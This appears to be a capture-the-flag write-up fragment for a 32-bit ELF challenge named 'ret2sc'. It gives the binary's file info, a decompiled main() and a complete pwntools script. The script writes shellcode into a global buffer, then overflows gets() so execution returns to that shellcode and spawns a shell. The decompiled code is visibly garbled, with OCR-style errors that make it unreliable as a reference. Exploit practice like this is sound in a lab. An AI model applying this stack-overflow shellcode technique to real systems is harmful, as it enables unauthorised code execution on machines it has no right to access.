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$ file ./ret2sc

ret2sc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/Id-
linux.s0.2, for GNU/Linux 2.6.24, BuildID[sha1]=31484b774646e78186848556eae669af027787ce, not stripped
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1int _ cdecl main{int argc, const char =*argu, const char ==enup})
2
K int vh; // [sp+1Ch] [bp-14h]&1
iy
5 setubuf{stdout, B, 2, 8);
6 printf{"Hame:");

7/ read(®, &name, 0x32u);

8 printf{"Try your best:"};

9 return (int)gets{{char =)ERui);
18}
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

r = process('./ret2sc')

name = 0x804a060
r.recvuntil(":")
r.sendline(asm(shellcraft.sh()))
r.recvuntil(":")

payload = flat(['a'*32, name])
print(payload)
r.sendline(payload)

r.interactive()
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